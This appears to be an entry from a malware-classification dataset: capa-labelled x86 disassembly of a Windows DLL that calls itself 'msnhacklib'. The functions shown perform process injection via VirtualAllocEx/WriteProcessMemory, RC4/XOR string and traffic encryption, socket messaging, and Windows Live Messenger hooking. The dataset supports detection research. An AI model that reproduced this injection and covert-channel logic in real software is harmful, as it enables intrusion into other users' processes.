joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003430
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10036008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
push ebx
push edi
mov edi, dword [eax + 0x10]
xor ebx, ebx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], eax
test edi, edi
je 0x100035e2
push esi
push edx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100035cd
cmp dword [ebp + 0xc], ebx
mov ecx, 0xbe3
push 0x40
mov eax, 0xe75
push 0x1000
cmove eax, ecx
add eax, edi
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
je 0x100035c6
mov eax, dword [ebp - 0x30]
mov ecx, eax
push ebx
push dword [eax + 0x10]
push ebx
call fcn.10004680
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100035b7
mov eax, dword [ebp - 0x30]
push ebx
mov eax, dword [eax + 0x10]
add eax, edi
mov dword [ebp - 0x3c], eax
cmp dword [ebp + 0xc], ebx
je 0x10003523
push 0xd64
push 0x10036860
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100035b7
mov eax, dword [ebp - 0x30]
or byte [ebp - 0x24], 3
push ebx
push 0x11
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x1b], ecx
lea eax, [ecx + 0xd64]
add eax, edi
mov dword [ebp - 0x30], eax
mov eax, edi
cdq
mov dword [ebp - 0x23], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ecx + 0xd64]
mov dword [ebp - 0x1f], edx
add eax, edi
push eax
jmp 0x10003560
push 0xad6
push 0x100375c8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100035b7
mov eax, dword [ebp - 0x30]
push 0
push 0xd
mov dword [ebp - 0x14], ebx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xb], eax
mov dword [ebp - 0xf], edi
lea ecx, [eax + 0xad6]
add ecx, edi
lea eax, [ebp - 0x14]
or byte [ebp - 0x10], 3
push eax
mov dword [ebp - 0x30], ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100035b7
mov eax, dword [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x2c], edi
mov eax, dword [eax + 0xf0]
test eax, eax
je 0x10003598
push edi
push edi
push edi
push edi
push edi
push dword [ebp - 0x30]
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x3c]
push esi
push edi
push 0x1fffff
push ecx
call eax
mov edi, dword [ebp - 0x2c]
test edi, edi
je 0x100035b4
push 0x3e8
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov edi, dword [ebp - 0x34]
push 0x10000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100044b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10036008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push eax
mov dword [ebp - 0x20], ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0xc], 0xffffffff
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], 0xffffffff
push ecx
push 0
push eax
mov dword [ebp - 0x10], 6
call dword [sym.imp.IPHLPAPI.DLL_SendARP]
test eax, eax
je 0x1000450c
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 0x10]
push ebx
push esi
push edi
lea eax, [eax + eax*2]
push eax
call fcn.1000f540
mov ecx, dword [ebp - 0x10]
mov ebx, eax
lea ecx, [ecx + ecx*2]
push ecx
push 0
push ebx
call fcn.10010ba0
mov eax, dword [ebp - 0x10]
add esp, 0x10
xor esi, esi
xor edi, edi
add eax, 0xffffffff
je 0x10004595
nop dword [eax + eax]
xor eax, eax
mov dword [ebp - 0x18], 0xdeb7b4a6
mov ecx, 4
mov byte [ebp - 0x14], 0x87
mov dword [ebp - 0x1c], ecx
mov word [ebp - 0x13], ax
mov byte [ebp - 0x11], al
nop dword [eax]
lea ecx, [eax - 0x7d]
xor byte [ebp + eax - 0x18], cl
inc eax
mov ecx, dword [ebp - 0x1c]
cmp eax, ecx
jb 0x10004560
mov byte [ebp + ecx - 0x18], 0
movzx eax, byte [ebp + esi - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [edi + ebx]
push eax
call fcn.10001160
add edi, eax
inc esi
mov eax, dword [ebp - 0x10]
add esp, 0xc
dec eax
cmp esi, eax
jb 0x10004540
xor ecx, ecx
mov dword [ebp - 0x18], 0xdeb7b4a6
mov eax, 4
mov byte [ebp - 0x14], 0x87
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x13], cx
mov byte [ebp - 0x11], cl
lea eax, [ecx - 0x7d]
xor byte [ebp + ecx - 0x18], al
inc ecx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
jb 0x100045b1
mov byte [ebp + eax - 0x18], 0
movzx eax, byte [ebp + esi - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [edi + ebx]
push eax
call fcn.10001160
add esp, 0xc
mov ecx, ebx
call fcn.1000e7a0
mov esi, eax
test esi, esi
je 0x100045fc
mov ecx, dword [ebp - 0x20]
push 0xffffffffffffffff
push esi
call fcn.1000dc30
push esi
call fcn.10016113
add esp, 4
push ebx
call fcn.1000f53b
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 8
Function at 0x100049a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10036008]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], 0x43727453
mov dword [ebp - 8], 0x74707972
nop dword [eax]
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jb 0x100049d0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x100049f0
mov esi, dword [ebp + 0xc]
test esi, esi
jne 0x100049f8
lea edi, [ebp - 0xc]
mov esi, 8
xor ecx, ecx
nop word [eax + eax]
mov eax, ecx
xor edx, edx
div esi
mov eax, edi
sub eax, edx
mov al, byte [eax + esi - 1]
mov byte [ebp + ecx - 0x21c], al
inc ecx
cmp ecx, 0x100
jb 0x10004a00
xor edi, edi
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov dl, byte [ebp + esi - 0x118]
movsx eax, byte [ebp + esi - 0x21c]
add eax, edi
movsx ecx, dl
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + esi - 0x118], al
inc esi
mov byte [ebp + edi - 0x118], dl
cmp esi, 0x100
jb 0x10004a30
xor ebx, ebx
xor edi, edi
xor esi, esi
cmp dword [ebp - 0x10], ebx
jle 0x10004ac1
lea eax, [ebx + 1]
movzx ebx, al
mov cl, byte [ebp + ebx - 0x118]
movsx edx, cl
lea eax, [edx + edi]
movzx edi, al
movzx eax, byte [ebp + edi - 0x118]
mov byte [ebp + ebx - 0x118], al
mov byte [ebp + edi - 0x118], cl
movsx eax, byte [ebp + ebx - 0x118]
add eax, edx
movzx ecx, al
movzx eax, byte [ebp + ecx - 0x118]
xor al, cl
mov ecx, dword [ebp - 0x14]
xor byte [ecx + esi], al
inc esi
cmp esi, dword [ebp - 0x10]
jl 0x10004a72
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f18c
mov esp, ebp
pop ebp
ret
Function at 0x10004db0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x10036008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x44], eax
mov edi, ecx
mov eax, dword [ebp + 0x14]
push 0x37
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x40]
push 0
push eax
call fcn.10010ba0
add esp, 0xc
mov dword [ebp - 8], 0x10
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0x37
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
je 0x10004e61
cmp eax, 0x37
jne 0x10004e61
cmp byte [ebp - 0x40], al
jne 0x10004e61
push 0
push 0
lea edx, [eax - 1]
lea ecx, [ebp - 0x3f]
call fcn.100049a0
movzx esi, word [ebp - 0x2f]
lea ecx, [ebp - 0x40]
xor eax, eax
add esp, 8
mov word [ebp - 0x2f], ax
lea edx, [eax + 0x37]
call fcn.10001300
cmp ax, si
jne 0x10004e61
lea esi, [edi + 0x10]
mov edi, 0xc
lea edx, [ebp - 0x3f]
nop word [eax + eax]
mov ecx, dword [edx]
cmp ecx, dword [esi]
jne 0x10004e76
add edx, 4
add esi, 4
sub edi, 4
jae 0x10004e50
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 0x14
mov ecx, dword [ebp - 0x44]
movzx eax, byte [ebp - 0x2d]
movups xmm0, xmmword [ebp - 0x2a]
pop edi
mov byte [ecx], al
mov ecx, dword [ebp - 0x48]
mov ax, word [ebp - 0x2c]
pop esi
mov word [ecx], ax
movzx eax, byte [ebp - 0xa]
mov ecx, dword [ebp - 4]
movups xmmword [ebx], xmm0
xor ecx, ebp
movups xmm0, xmmword [ebp - 0x1a]
movups xmmword [ebx + 0x10], xmm0
mov byte [ebx + 0x20], al
mov eax, 1
pop ebx
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 0x14

Function at 0x10004f30
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x10036008]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x10004f96
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10004f96
mov eax, dword [esp + 8]
cmp al, 2
jne 0x10004f90
shr eax, 8
cmp al, 2
jne 0x10004f90
mov dword [esi], 1
mov eax, dword [esi]
pop esi
mov ecx, dword [esp + 0x198]
xor ecx, esp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esi]
mov ecx, dword [esp + 0x19c]
pop esi
xor ecx, esp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret
Function at 0x10004fb0
Capabilities:
Encode data using xor
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x10036008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x100050a3
cmp byte [esi], 0
je 0x100050a3
movaps xmm0, xmmword [0x10033770]
mov eax, 0xd
mov dword [ebp - 0x34], eax
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
nop
lea eax, [ecx - 0x7d]
xor byte [ebp + ecx - 0x30], al
inc ecx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
jb 0x10004ff0
mov byte [ebp + eax - 0x30], 0
lea eax, [ebp - 0x1d]
push 1
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x30]
push eax
push esi
call fcn.10004ed0
add esp, 0x20
cmp eax, 4
jne 0x100050a3
xor eax, eax
nop
cmp dword [ebp + eax*4 - 0x18], 0xff
ja 0x100050a3
inc eax
cmp eax, 4
jl 0x10005030
mov eax, 2
mov dword [ebp - 0x1c], 0x10
mov word [ebx], ax
lea eax, [ebp - 0x1c]
push eax
push ebx
push 0
push 2
push esi
call dword [sym.imp.WS2_32.dll_WSAStringToAddressW]
test eax, eax
je 0x10005078
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
test ax, ax
je 0x1000508b
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebx + 2], ax
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 0xc
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0xc00
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
push 0
push esi
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
movups xmmword [ebx], xmm0
call dword [sym.imp.WS2_32.dll_getaddrinfo]
xor esi, esi
test eax, eax
jne 0x10005140
mov edi, dword [ebp - 0x1c]
mov eax, edi
test eax, eax
je 0x10005137
nop dword [eax]
mov ecx, dword [eax + 4]
cmp ecx, 2
je 0x1000510d
cmp ecx, 0x17
je 0x1000510d
mov eax, dword [eax + 0x1c]
test eax, eax
jne 0x100050f0
push edi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x10005140
push dword [eax + 0x10]
push dword [eax + 0x18]
push ebx
call fcn.10010620
add esp, 0xc
push edi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebx + 2], ax
mov esi, 1
jmp 0x10005140
push edi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
xor esi, esi
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10005160
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x23c
mov eax, dword [0x10036008]
xor eax, esp
mov dword [esp + 0x238], eax
mov edx, dword [sym.imp.WS2_32.dll_shutdown]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [esi], 0
je 0x10005328
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x100051b0
push 2
push eax
call edx
push dword [esi + 4]
call edi
mov dword [esi + 4], 0xffffffff
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x10005322
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea ecx, [esp + 0x10]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x24], 0x7d0
call edi
cmp eax, 0xffffffff
je 0x1000531c
push 4
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x7d0
push eax
push 0x1005
push 0xffff
push dword [esi + 4]
call edi
cmp eax, 0xffffffff
je 0x1000531c
movzx edi, word [ebp + 0xc]
lea eax, [esp + 0x20]
push eax
push edi
push ebx
call fcn.10004fb0
test eax, eax
jne 0x10005252
mov eax, 2
push edi
mov word [esp + 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
lea eax, [esp + 0x24]
push eax
push ebx
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 1
push eax
push 0x8004667e
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x1000531c
push 0x10
lea eax, [esp + 0x24]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000529c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1000531c
mov eax, dword [esi + 4]
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x13c]
mov dword [esp + 0x38], eax
push ecx
lea ecx, [esp + 0x38]
mov dword [esp + 0x144], eax
push ecx
push 0
inc eax
mov dword [esp + 0x28], 1
push eax
mov dword [esp + 0x30], 0
mov dword [esp + 0x44], 1
mov dword [esp + 0x14c], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x1000531c
lea eax, [esp + 0x30]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x1000531c
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x238]
xor ecx, esp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 8
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [sym.imp.WS2_32.dll_shutdown]
mov ecx, dword [esi + 4]
cmp ecx, 0xffffffff
je 0x10005341
push 2
push ecx
call edx
push dword [esi + 4]
call edi
mov dword [esi + 4], 0xffffffff
mov ecx, dword [esp + 0x244]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 8
Function at 0x100055e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ebx, dword [ebp + 0x10]
mov dword [ebp + 8], eax
mov dword [ebp - 4], edx
cmp dword [ebp + 0x14], 0
ja 0x1000560a
test ebx, ebx
je 0x10005621
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [ebp + 8]
sbb edx, dword [ebp - 4]
cmp edx, dword [ebp + 0x14]
ja 0x10005658
jb 0x10005621
cmp eax, ebx
ja 0x10005658
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
mov eax, dword [ebp - 8]
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x1000564e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10005658
jmp 0x10005654
test eax, eax
je 0x10005658
add esi, eax
cmp edi, esi
jg 0x10005600
xor eax, eax
cmp esi, edi
pop edi
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10005670
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x10036008]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push dword [ebp + 0x18]
mov dword [esp + 0x18], eax
xor ebx, ebx
mov eax, dword [ebp + 0x10]
push dword [ebp + 0x14]
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x28]
push eax
push 8
mov dword [esp + 0x1c], ecx
call fcn.100055e0
test eax, eax
je 0x100057b1
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x1c], ecx
lea eax, [ecx - 0x13]
cmp eax, 0x13fffed
ja 0x100057b1
lea esi, [ecx - 8]
push esi
call fcn.100163b4
mov edi, eax
add esp, 4
test edi, edi
je 0x100057b1
push dword [ebp + 0x18]
mov ecx, dword [esp + 0x10]
push dword [ebp + 0x14]
push edi
push esi
call fcn.100055e0
test eax, eax
je 0x100057a8
lea eax, [esp + 0x24]
mov edx, esi
push 4
push eax
mov ecx, edi
call fcn.100049a0
mov al, byte [edi + 0xa]
add esp, 8
cmp al, byte [ebp + 8]
je 0x1000572c
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x100057a8
mov byte [ecx], al
jmp 0x100057a8
movzx esi, word [edi]
xor eax, eax
mov edx, dword [edi + 2]
mov ecx, edi
mov word [edi], ax
call fcn.10001300
mov word [edi], ax
cmp ax, si
jne 0x100057a8
mov eax, dword [edi + 6]
xor ecx, ecx
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.100163b4
mov esi, eax
add esp, 4
test esi, esi
je 0x100057a8
add dword [esp + 0x1c], 0xfffffff0
lea eax, [esp + 0x1c]
push eax
lea eax, [edi + 0xb]
mov ecx, esi
push eax
lea edx, [edi + 6]
call fcn.10005a70
add esp, 8
test eax, eax
je 0x1000578e
push esi
call fcn.10016113
add esp, 4
jmp 0x100057a8
mov eax, dword [edi + 6]
mov ecx, dword [esp + 0x18]
mov byte [esi + eax], bl
mov ebx, 1
mov eax, dword [esp + 0x14]
mov dword [eax], esi
mov eax, dword [edi + 6]
mov dword [ecx], eax
push edi
call fcn.10016113
add esp, 4
mov ecx, dword [esp + 0x2c]
mov eax, ebx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100057d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ecx
xor edi, edi
xor eax, eax
cmp dword [ecx], ebx
je 0x100058f4
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], eax
je 0x100058ba
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x100058ba
mov ecx, esi
mov edx, esi
shr ecx, 0xe
mov eax, esi
shr edx, 0x19
add ecx, esi
shr eax, 0xc
add ecx, edx
add eax, 0xd
add eax, ecx
mov dword [ebp + 0x10], eax
je 0x100058b7
add eax, 0x13
push eax
call fcn.100163b4
add esp, 4
test eax, eax
je 0x100058b7
push ecx
mov ebx, eax
lea edx, [ebp + 0x10]
push esi
push dword [ebp + 0xc]
lea ecx, [ebx + 0x13]
call fcn.10005cc0
add esp, 0xc
test eax, eax
je 0x10005863
push ebx
call fcn.10016113
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp + 0x10]
lea edi, [ebx + 4]
xor eax, eax
mov dword [ebx + 0xe], esi
mov word [ebx + 8], ax
add ecx, 0xb
mov al, byte [ebp + 8]
mov dword [ebx + 0xa], ecx
mov byte [ebx + 0x12], al
push 0
mov dword [ebx], ecx
call fcn.100163fb
mov esi, dword [ebx]
lea ecx, [ebx + 8]
add esp, 4
mov dword [edi], eax
mov edx, esi
call fcn.10001300
lea ecx, [ebx + 8]
mov edx, esi
mov word [ecx], ax
push 4
push edi
call fcn.100049a0
add esp, 8
mov dword [ebp - 8], 1
add dword [ebx], 8
mov edi, dword [ebx]
mov ecx, dword [ebp - 4]
xor esi, esi
test edi, edi
jle 0x100058e2
push 0
mov eax, edi
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100058fd
mov ecx, dword [ebp - 4]
add esi, eax
cmp esi, edi
jl 0x100058c0
mov esi, dword [ebp - 8]
test ebx, ebx
je 0x100058f2
push ebx
call fcn.10016113
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
xor esi, esi
jmp 0x100058e5
Function at 0x1001c69e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001c6dd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001c6dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001c6dd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001c6dd
cmp dword [ecx + 0x74], 0xe
jbe 0x1001c6dd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001dce9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002c2bc
push 0x1002c2b4
push str.FlsAlloc
push 0x1f
call fcn.1001dbc5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001dd1d
push dword [ebp + 8]
mov ecx, esi
call dword [0x100291f0]
call esi
jmp 0x1001dd23
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001dd67
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002c2cc
push 0x1002c2c4
push str.FlsGetValue
push 0x21
call fcn.1001dbc5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001dd9e
push dword [ebp + 8]
mov ecx, esi
call dword [0x100291f0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001dda6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002c2d4
push 0x1002c2cc
push str.FlsSetValue
push 0x22
call fcn.1001dbc5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001dde0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x100291f0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x100213f7
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10021494
push ebx
push esi
call fcn.100213c0
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10021354
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10021441
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10021493
push edi
push eax
call fcn.1001dfd5
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10021461
call fcn.1001d41d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10021492
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10021354
add esp, 0x20
test eax, eax
jne 0x10021480
push edi
call fcn.1001d41d
jmp 0x10021488
push ebx
call fcn.1001d41d
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x100037a0
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [esp + 8]
sub eax, 0
je 0x100037ca
sub eax, 1
jne 0x10003821
push str.msnhacklib_attaching...
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, dword [esp + 4]
mov dword [0x100304b8], eax
mov eax, 1
ret 0xc
push str.msnhacklib_detaching...
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call fcn.10003b20
mov ecx, dword [0x1003050c]
push ecx
call dword [sym.imp.USER32.dll_UnhookWinEvent]
mov eax, dword [0x10030510]
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [0x10030514]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [0x100304bc]
push edx
call fcn.1000e555
mov eax, dword [0x100304b4]
push eax
call fcn.1000e555
add esp, 8
mov eax, 1
ret 0xc

Function at 0x10003870
Capabilities:
Query or enumerate registry value
Set current directory

Disassembly:
sub esp, 0x10c
lea eax, [esp]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_LiveMessenger
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp]
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0xc]
push edx
push 0
push 0
push str.InstallationDirectory
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
